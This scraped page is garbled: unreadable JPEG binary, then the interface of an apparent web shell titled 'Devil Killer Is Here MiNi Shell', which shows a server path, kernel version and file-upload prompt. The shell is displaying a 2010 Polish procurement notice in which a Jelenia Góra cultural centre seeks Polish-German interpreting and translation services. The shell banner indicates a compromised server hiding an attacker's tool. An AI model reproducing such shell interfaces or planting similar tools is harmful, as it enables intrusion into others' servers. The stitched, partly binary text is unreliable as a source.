JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20100419/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20100419/109720-N-2010.html

<p class="kh_header"><b>Jelenia Góra: USŁUGA W ZAKRESIE TŁUMACZEŃ USTNYCH I PISEMNYCH  (Z JĘZYKA POLSKIEGO NA JĘZYK OBCY, A TAKŻE Z JĘZYKA OBCEGO NA JĘZYK POLSKI) DLA JELENIOGÓRSKIEGO CENTRUM KULTURY</b><br>
<b>Numer ogłoszenia: 109720 - 2010; data zamieszczenia: 19.04.2010</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Jeleniogórskie Centrum Kultury , ul. 1 Maja 60, 58-500 Jelenia Góra, woj. dolnośląskie, tel. 075 6423880, 6423881, faks 075 6423882.</p>
<ul class="kh_indent_1">
</ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: Samorządowa Instytucja Kultury.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> USŁUGA W ZAKRESIE TŁUMACZEŃ USTNYCH I PISEMNYCH  (Z JĘZYKA POLSKIEGO NA JĘZYK OBCY, A TAKŻE Z JĘZYKA OBCEGO NA JĘZYK POLSKI) DLA JELENIOGÓRSKIEGO CENTRUM KULTURY.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 1.Przedmiot zamówienia obejmuje usługę w zakresie tłumaczeń ustnych i pisemnych  (z języka polskiego na język obcy, a także z języka obcego na język polski) dla Jeleniogórskiego Centrum Kultury w okresie od podpisania umowy do 31.12.2010 r. 

2. Zamawiający przewiduje wyodrębnienie stawek za następujące rodzaje tłumaczeń:

a. Tłumaczenie ustne konsekutywne stacjonarne jednodniowe.
b. Tłumaczenia ustne konsekutywne -  jednodniowe - wyjazd zagraniczny lub krajowy (do 6 godzin).
c. Tłumaczenia ustne konsekutywne -  jednodniowe - wyjazd zagraniczny lub krajowy (do 12 godzin).
d.Tłumaczenia ustne konsekutywne - wielodniowe .
e. Tłumaczenia ustne  symultaniczne bez wcześniejszego udostępnienia  tłumaczonego tekstu . 
f.Tłumaczenia ustne symultaniczne z wcześniejszym udostępnieniem tłumaczonego tekstu
g.Tłumaczenia pisemne zwykłe standard (w tym znaki graficzne, pieczęcie itp.)  z języka polskiego na język obcy, a także z języka obcego na język polski
h. Tłumaczenia pisemne przysięgłe standard (w tym znaki graficzne, pieczęcie itp.)  z języka polskiego na język obcy, a także z języka obcego na język polski .
i. Tłumaczenia pisemne zwykłe i przysięgłe w trybie ekspres lub superekspres.
3. Przez poszczególne rodzaje tłumaczeń Zamawiający rozumie:
a.Przez tłumaczenie ustne konsekutywne stacjonarne jednodniowe ujęte w punkcie 2.a rozumie się usługi  świadczone na terenie powiatu jeleniogórskiego w których tłumacz pozostaje do dyspozycji Zamawiającego do 12 godzin dziennie. Rozliczenie usługi następuje według ustalonych w cenniku  stawek godzinowych.
b.Przez tłumaczenia ustne konsekutywne -  jednodniowe - wyjazd zagraniczny lub 
    krajowy ujęte w punktach 2.b i 2.c  rozumie się usługi świadczone poza terenem powiatu jeleniogórskiego w których tłumacz pozostaje do dyspozycji Zamawiającego odpowiednio: do 6 lub do 12 godzin. Rozliczenie usługi następuje według ustalonych w cenniku stawek godzinowych. Odpowiednio dla stawki określonej dla wyjazdu do 6 godzin lub dla wyjazdu do 12 godzin.
c. Przez tłumaczenia ustne konsekutywne - wielodniowe ujęte w punkcie 2/d   rozumie się usługę w ramach której tłumacz-e pozostaje-ą do dyspozycji Zamawiającego  przez 24 godziny  na dobę wykonując obsługę tłumaczeniową według potrzeb Zamawiającego.  Tłumaczenia  wielodniowe dotyczą działań o charakterze kilkudniowych warsztatów,konferencji itp. których uczestnicy realizują wspólny program edukacyjny, integracyjny, artystyczny lub inny, przebywając w jednym miejscu zakwaterowania. Usługa obejmuje tłumaczenia działań programowych (przy czym ich łączna długość na dobę nie może przekroczyć 12 godzin) oraz niezależnie od tego tłumaczenia związane z sytuacjami nagłymi w postaci konieczności kontaktu ze służbami medycznymi, porządkowymi i w  innych przypadkach losowych. Rozliczenie usługi następuje według stawki dobowej przy 
czym za każdą rozpoczętą następną dobę: 
 - do 8 godzin przysługiwać będzie 1/3 stawki dobowej, 
 - powyżej 8 do 12 godzin ? stawki dobowej, 
  - powyżej 12 godzin pełna stawka dobowa.
d.Przez Tłumaczenia ustne  symultaniczne bez wcześniejszego udostępnienia tłumaczonego  tekstu ujęte w punkcie 3-e rozumie się usługę w ramach której na bieżąco tłumaczony będzie tekst filmu, spektaklu,  wystąpienia konferencyjnego, scenicznego,estradowego bądź inne.  Tłumaczenie takie wykonywane będzie zależnie od potrzeb i możliwości technicznych Zamawiającego  z  wykorzystaniem zestawów do tłumaczeń symultanicznych lub urządzeń nagłaśniających. W określonych przypadkach (scena, estrada, konferencja) usługa na zlecenie Zamawiającego może mieć charakter wystąpienia publicznego na scenie lub estradzie u boku osoby tłumaczonej i posiadać cechy tłumaczenia konsekutywnego . Rozliczenie usługi następować będzie według ustalonych w cenniku stawek godzinowych.
(Uwaga w przypadku łączenia z wyjazdem lub wielodniowym tłumaczeniem koszt tej usługi będzie osobno kontraktowany i rozliczany przy czym  w przypadku tłumaczeń wielodniowych  będzie doliczany do przyjętej stawki dobowej).
e.Przez  Tłumaczenia ustne symultaniczne z wcześniejszym udostępnieniem tłumaczonego  tekstu  ujęte w punkcie 2.f  rozumie się usługę w ramach której na podstawie wcześniej udostępnionego tekstu  (min. na 24h przed tłumaczeniem) na  bieżąco  tłumaczony będzie tekst filmu, spektaklu, wystąpienia konferencyjnego, scenicznego, estradowego bądź inne. Tłumaczenie takie wykonywane będzie zależnie od potrzeb i możliwości technicznych  Zamawiającego  z  wykorzystaniem zestawów do tłumaczeń symultanicznych lub urządzeń   nagłaśniających. W określonych przypadkach (scena, estrada, konferencja) usługa na zlecenie  Zamawiającego może mieć charakter wystąpienia publicznego na scenie lub estradzie u boku  osoby tłumaczonej i posiadać cechy tłumaczenia konsekutywnego . Rozliczenie usługi następować będzie według ustalonych w cenniku stawek godzinowych. 
(Uwaga w przypadku łączenia z wyjazdem lub wielodniowym tłumaczeniem koszt   
tej usługi będzie osobno kontraktowany i rozliczany przy czym  w przypadku tłumaczeń wielodniowych będzie doliczany do przyjętej stawki dobowej).
f. Przez tłumaczenia pisemne zwykłe standard  ujęte w punkcie 2.g  (w tym znaki graficzne, pieczęcie  itp.)  z języka  polskiego na język obcy, a także z języka obcego na język polski ozumie się tłumaczenie nie przysięgłe z języka polskiego na obcy lub z języka obcego na polski, dokonywane przez zwykłych tłumaczy. 
Termin realizacji pojedynczego zlecenia dla tekstu do 20 stron maszynopisu wynosić będzie:(jedna strona obliczeniowa wynosi 1500 znaków, liczonych łącznie ze znakami odstępu)  48 godzin liczonych od chwili doręczenia tekstu. Rozlicznie usługi następować będzie na podstawie ilości stron obliczeniowych i stawki ustalonej w cenniku.
g.Przez Tłumaczenia pisemne przysięgłe standard ujęte w punkcie 2-h (w tym znaki graficzne, pieczęcie itp.)  z  języka  polskiego na język obcy, a także z języka obcego na język polski ozumie się tłumaczenie dokonane przez tłumacza przysięgłego, zgodnie z postanowieniami ustawy o zawodzie tłumacza  przysięgłego (Dz. U. z 2004 r., Nr 273, poz. 2702, z późn. zm.). Termin realizacji   pojedynczego zlecenia dla tekstu do 20 stron maszynopisu wynosić będzie: (jedna strona obliczeniowa  wynosi 1125 znaków, liczonych łącznie ze znakami odstępu)  48 godzin liczonych od chwili doręczenia tekstu. Rozlicznie usługi następować będzie na podstawie ilości stron obliczeniowych i stawki ustalonej w cenniku.
h. Przez Tłumaczenia pisemne zwykłe i przysięgłe w trybie ekspres lub superekspres 
rozumie się tłumaczenia pisemne realizowane w przyśpieszonym trybie.
Termin realizacji  pojedynczego zlecenia w trybie ekspres dla tekstu do 20 stron maszynopisu wynosić będzie 24 godziny liczone od chwili doręczenia tekstu. Rozlicznie usługi następować będzie na podstawie ilości stron obliczeniowych i 150% stawki ustalonej w cenniku dla trybu standard .Termin realizacji  pojedynczego zlecenia w trybie superekspres: dla tekstu do 10 stron maszynopisu.Tłumaczenie wykonywane będzie w dniu zlecenia . Rozlicznie usługi następować będzie na podstawie ilości stron obliczeniowych i 200% stawki ustalonej w cenniku dla trybu standard .
4. Dodatkowe informacje określające przedmiot i zakres zamówienia :
a.W przypadku wszystkich usług związanych z tłumaczeniami ustnymi Zamawiający z  minimum tygodniowym wyprzedzeniem  przekaże Wykonawcy zlecenie szczegółowo 
określające rodzaj tłumaczenia, ilość tłumaczy pracujących jednocześnie , godziny 
rozpoczęcia pracy, przewidywaną godzinę zakończenia pracy, program imprezy w trakcie której świadczona będzie usługa, miejsce i godzinę  w którym ma się stawić wykonawca usługi tłumacz-tłumacze.
b.Wykonawca we własnym zakresie pokrywa koszty dojazdów  tłumacza-y do siedziby Zamawiającego  lub na miejsce wykonywania usługi na terenie powiatu jeleniogórskiego zależnie od potrzeb określonych w zleceniu Zamawiającego.
c.W przypadku tłumaczeń wyjazdowych lub wielodniowych Zamawiający zapewnia 
    transport tłumacza-y z siedziby Zamawiającego do miejsca wykonywania usługi i z powrotem. Jeżeli w zleceniu  nie zostanie zapisane inaczej Wykonawcy przysługuje prawo do rezygnacji z transportu Zamawiającego. W takim wypadku Wykonawca we własnym zakresie  pokrywa koszty dojazdu tłumacza-y na miejsce świadczenia usługi.
d. W przypadku tłumaczeń wyjazdowych lub wielodniowych czas świadczenia usługi 
wyliczany będzie łącznie z czasem dojazdu na miejsce świadczenia usługi (pod 
 warunkiem, że tłumacz podróżować będzie wraz z osobą lub grupą reprezentującą  
Zamawiającego dla której usługa będzie wykonywana). W przypadku indywidualnego dojazdu tłumacza  na miejsce wykonywania usługi  wyliczany będzie czas świadczenia usługi na miejscu jej wykonywania.
 e.  W przypadku tłumaczeń wielodniowych Zamawiający zapewnia tłumaczom zakwaterowanie i wyżywienie. Tłumacz-e przebywa-ją wraz z osobą lub grupą  
           reprezentującą  Zamawiającego dla której usługa będzie wykonywana. Wykonawca 
           przyjmuje do wiadomości i akceptuje fakt, że tłumacz-e otrzyma-ją  takie same warunki 
           zakwaterowania i wyżywienia jak pozostali uczestnicy działania, dla którego świadczona 
           będzie usługa tłumaczeniowa

        f. Tłumaczenia dotyczyć będą:
            - ustne  m.in. roboczych spotkań przygotowawczych, zajęć warsztatowych w trakcie  
              warsztatów artystycznych i edukacyjnych, działań integracyjnych, pokazów filmowych, 
              prezentacji artystycznych, konferencji naukowych, obrad jury konkursów artystycznych 
              i innych.
          - pisemne m.in.. ulotek, broszur, materiałów informacyjnych i promocyjnych, raportów, umów, 
             rozporządzeń, list dialogowych filmów i spektakli teatralnych,  protokołów, wystąpień 
              naukowych i innych;

g. Tłumaczenia ustne i pisemne odnosić się będą do następujących obszarów tematycznych:  
- z zakresu szeroko rozumianej kultury: muzyka, teatr, film, taniec, sport i rekreacja, sztuki 
   plastyczne , edukacja artystyczna;
- prawa;
- rachunkowości, 
- Unia Europejska.
  
       h.  za dzień przekazania tekstu do tłumaczenia uznaje się przekazanie przez Zamawiającego 
          lub upoważnionych osób tekstu Wykonawcy do godz. 16.00. W przypadku przekazania 
          przez Zamawiającego tekstu po godzinie 16.00 termin wykonania tłumaczenia biegnie od 
          dnia następnego od godz. 8.00.

        i. tekst przewidziany  do tłumaczenia w trybie superekspres zostanie przekazany przez 
             Zamawiającego  do godziny 15.00 w dniu w którym ma zostać przetłumaczony. 

         j. jeżeli tekst liczy więcej niż 20 stron maszynopisu, na przetłumaczenie każdych kolejnych 10 stron 
            tekstu Wykonawca ma dodatkowo 24 godziny w przypadku tłumaczeń standardowych i 
            przysięgłych, natomiast w przypadku tłumaczeń w trybie ekspresowym i superekspresowym 
            termin będzie uzgadniany każdorazowo z Wykonawca, jednak nie przekroczy kolejnych 24 
            godzin.

         k. wykonawca przeniesie na Zamawiającego autorskie prawa majątkowe, jeżeli w wyniku 
             tłumaczenia powstanie utwór w rozumieniu ustawy o prawie autorskim i prawach pokrewnych, na  
             zasadach określonych we wzorze umowy.

        l. Niedopuszczalne jest wykonywanie tłumaczeń za pomocą programów komputerowych 
            służących do translacji tekstu.

        ł. Zamawiający przewiduje udzielenie zamówień uzupełniających, o których mowa 
            w art. 67  ust. 1 pkt. 6 Pzp. Na okoliczność wystąpienia zamówień uzupełniających, zostanie 
            zawarta umowa w trybie zamówienia z wolnej ręki. Łączna wartość zamówień uzupełniających nie  
            przekroczy 20 % wartości zamówienia podstawowego.


Zamówienie  podzielono na dwie części

ZADANIE nr 1
Usługi w zakresie tłumaczeń podczas działań teatralnych realizowanych w ramach projektu Od Fundamentów po szczyty - renowacja, modernizacja i innowacja w obiektach i współpracy kulturalnej JCK i Steinhaus Bautzen finansowanego ze środków Unii Europejskiej w ramach Programu Operacyjnego Współpracy Zagranicznej   Polska - Saksonia 2007-2013.
Opis przedmiotu zamówienia dla Zadania nr 1

1.	Przedmiot zamówienia obejmuje usługę w zakresie tłumaczeń ustnych i pisemnych  (z języka polskiego na język niemiecki, a także z języka niemieckiego na język polski) dla Jeleniogórskiego Centrum Kultury w okresie od podpisania umowy do 31.12.2010 r. 
2.	Zamawiający przewiduje zlecenie  następujących  rodzajów tłumaczeń według poniższego zestawienia:
1.	Tłumaczenia ustne konsekutywne - wielodniowe	01.05 - 02.05..2010 r.	Dób- 	1,5.	Wyjazd do Bautzen.
Tłumaczenie podczas montażu, demontażu oraz podczas spektaklu i działań integracyjnych związanych z realizacją działania  Wymiany premier teatralnych.
2.	Tłumaczenie ustne konsekutywne stacjonarne jednodniowe.
	27, 28,29,30 .05.2010 r.
w godz. 9.00 - 16.00 	Godzin-	15.	Tłumacz nr 1
Tłumaczenia  zajęć warsztatów teatralnych w ramach festiwalu PESTKA
Średnio 3,75 godz.dzień
2 tłumaczy pracujących równocześnie
3.	Tłumaczenie ustne konsekutywne stacjonarne jednodniowe.
	27,28,29,30 .05.2010 r.
w godz. 9.00 - 16.00	Godzin- 	15.	Tłumacz nr 2
Tłumaczenia  zajęć warsztatów teatralnych w ramach festiwalu PESTKA
Średnio 3,75 godz.- dzień
2 tłumaczy pracujących równocześnie
4.	Tłumaczenie ustne konsekutywne stacjonarne jednodniowe.
	27,28,29,30 .05.2010 r.
w godz. 16.00 - 21.00	Godzin-	9.	Tłumacz nr 1 lub 2
Tłumaczenia   dyskusji panelowych oraz wykładów w ramach festiwalu PESTKA
Średnio 3 godz.-dzień
5.	Tłumaczenia pisemne zwykłe standard.
	01-05.05.2010 r.	Stron-	5.	Materiały promocyjne festiwalu Pestka
6.	Tłumaczenia pisemne zwykłe standard.
	01-.10.05.2010 r.	Stron -	60.	Teksty sztuk - dramatów teatralnych wystawianych  w ramach festiwalu PESTKA
7.	Tłumaczenie pisemne zwykłe w trybie superekspres	27,28,29,30. 05.2010 r.	Stron -	16.	Tłumacz nr 1 lub 2
Tłumaczenia   tekstów gazety festiwalowej (po działaniach warsztatowych) 
Średnio 4  strony.-dzień . 
8.	Tłumaczenia ustne konsekutywne -  jednodniowe - wyjazd zagraniczny lub krajowy (do  12 godzin).
(3 wyjazdy - 1 tłumacz)
	W okresie od:
01.05.2010r. do 15.07.2010 r.	Godzinn -	21.	Trzy wyjazdy w ustalonych w zleceniu terminach - przeciętnie 7 godzin na wyjazd. Wyjazd z siedziby Zamawiającego do Bautzen.
9.	Tłumaczenia ustne konsekutywne - wielodniowe	16.07 - 26.07.2010 r.	Dób - 	10.	Tłumaczenie podczas warsztatów teatralnych  ODYSEJA w Jeleniej Górze (przygotowanie i realizacja spektaklu plenerowego) oraz prezentacja spektaklu w Bautzen w dniu 25.07.2010 r.
10.	Tłumaczenia pisemne zwykłe standard.
	10.05.2010 r.-01.07.2010 r.	Stronm-	25.	Materiały promocyjne warsztatów ODYSEJA, + scenopis spektaklu plenerowego.




ZADANIE nr 2
Usługi w zakresie tłumaczeń podczas działań muzycznych realizowanych w ramach projektu Od Fundamentów po szczyty - renowacja, modernizacja i innowacja w obiektach i współpracy kulturalnej JCK i Steinhaus Bautzen finansowanego ze środków Unii Europejskiej w ramach Programu Operacyjnego Współpracy Zagranicznej   Polska - Saksonia 2007-2013.

Opis przedmiotu zamówienia dla Zadania nr 2

1.	Przedmiot zamówienia obejmuje usługę w zakresie tłumaczeń ustnych i pisemnych  (z języka polskiego na język niemiecki, a także z języka niemieckiego na język polski) dla Jeleniogórskiego Centrum Kultury w okresie od podpisania umowy do 31.12.2010 r. 
2.	Zamawiający przewiduje zlecenie  następujących  rodzajów tłumaczeń według poniższego zestawienia:
1.	Tłumaczenie ustne konsekutywne stacjonarne jednodniowe.
	 22.05.2010 r.
Godz. 16.00 -23.00	Godzin- 	7.	Tłumaczenie dla zespołów niemieckich podczas koncertu finałowego Liga Rocka - polsko - niemieckie spotkania młodych muzyków
2.	Tłumaczenie ustne konsekutywne stacjonarne jednodniowe.
	15.10.2010 r. 
godz. 16.00 -22.00
i
19.11.2010 r.
Godz. 16.00 - 22.00	Godzin -	12.	Tłumaczenie dla zespołów niemieckich podczas koncertów eliminacyjnych Liga Rocka - polsko - niemieckie spotkania młodych muzyków
3.	Tłumaczenia pisemne zwykłe standard.
	01-05.05.2010 r.	Stron -	25.	Tłumaczenie materiałów promocyjnych imprezy Liga Rocka - polsko - niemieckie spotkania młodych muzyków (Program imprezy, plakat  imprezy, protokół jury).
4.	Tłumaczenie ustne konsekutywne stacjonarne jednodniowe.
	12,13,14.
w godz. 12.00 - 20.00 	Godzin -	30.	Tłumacz nr 1
Tłumaczenie dla zespołów niemieckich biorących udział w warsztatach i konkursie jazzowym.
Średnio 10 godz. dziennie
5.	Tłumaczenie ustne konsekutywne stacjonarne jednodniowe.
	12,13,14.
w godz. 14.00 - 18.00	Godzin-	12.	Tłumacz nr 2
Tłumaczenie dla jurora z Niemiec podczas koncertów konkursowych i obrad jury. (średnio 4 godz. dziennie)
6.	Tłumaczenia ustne  symultaniczne bez wcześniejszego udostępnienia tłumaczonego  tekstu.	14.11.2010 r.
Godz.20.00	godzin -1.Tłumacz1 lub Tłumacz 2
Tłumaczenie na scenie oficjalnych wystąpień podczas koncertu galowego festiwalu.
7.	Tłumaczenia pisemne zwykłe standard.
	25-29.10.2010 r.	Stron -	25.Tłumaczenie materiałów promocyjnych imprezy Liga Rocka - polsko - niemieckie spotkania młodych muzyków (Program imprezy, plakat  imprezy, protokół jury)..</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p>

<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 74.83.13.00-6, 74.83.14.00-7.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 2.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 31.12.2010.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>


<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Wykonawcy zobowiązani są do potwierdzenia wykonania w okresie ostatnich 3 lat przed dniem wszczęcia postępowania o udzielenie zamówienia, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, co najmniej jednego zamówienia polegającego tłumaczeniach z języka polskiego i niemieckiego w zakresie sztuki teatralnej (współpraca przy organizacji polsko-niemieckich działań z zakresu teatru, znajomość tematyki teatralnej). Udokumentowane doświadczenie w zakresie współpracy z młodzieżą - dotyczy zadania nr 1 Wykonawcy  muszą posiadać Wykształcenie wyższe magisterskie na kierunku Filologia Germańska - dotyczy obu zdań. Wykonawcy realizujący zadanie nr 2 muszą udokumentować doświadczenie  tłumaczeń z języka polskiego i niemieckiego w zakresie kultury i sztuki (muzyki  rozrywkowej).
Wykonawcy zobowiązani są przedłożyć wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych usług sporządzony według wzoru stanowiącego załącznik nr 3 do niniejszej SIWZ, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców, oraz załączyć dokumenty potwierdzające w sposób jednoznaczny, że usługi zostały wykonane lub są wykonywane należycie.Ocena spełnienia warunków udziału w postępowaniu będzie dokonana na podstawie dokumentów według formuły: spełnia - nie spełnia.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Wykonawca przy realizacji zamówienia zobowiązany jest do wskazania minimum dwóch tłumaczy, którzy realizować będą usługi związane z realizacją każdego z zadań, zgodnie z wykazem przedstawionym w załączniku nr 4. załączonej do niniejszej SIWZ
Ocena spełnienia warunków udziału w postępowaniu będzie dokonana na podstawie dokumentów według formuły: spełnia - nie spełnia.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, dostaw lub usług  w zakresie niezbędnym do wykazania spełniania warunku wiedzy i doświadczenia w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców, oraz załączeniem dokumentu potwierdzającego, że te dostawy lub usługi zostały wykonane lub są wykonywane należycie</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych dla wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

</ul></li>
<li>
<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
